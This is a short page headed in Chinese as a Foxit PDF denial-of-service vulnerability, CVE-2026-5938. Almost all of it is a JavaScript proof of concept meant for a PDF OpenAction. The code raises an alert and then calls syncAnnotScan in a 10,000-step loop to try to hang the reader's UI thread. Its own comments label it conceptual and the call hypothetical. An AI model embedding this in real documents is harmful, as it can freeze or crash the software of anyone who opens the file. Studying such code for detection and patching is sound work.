CVE-2026-5938 Foxit PDF拒绝服务漏洞

// Conceptual PoC for CVE-2026-5938 // Embedded in a PDF document action (e.g., OpenAction) function exploit() { try { // Attempt to trigger a modal dialog app.alert('Initial Dialog'); // Crafted action chain attempting re-entry // This simulates a loop or recursive call that forces the UI thread to block var count = 0; while (count < 10000) { // Hypothetical API call that triggers internal UI event processing // leading to re-entry into the dialog manager this.syncAnnotScan(); count++; } app.alert('This may not be reached if UI freezes'); } catch (e) { console.println('Exception: ' + e); } } exploit();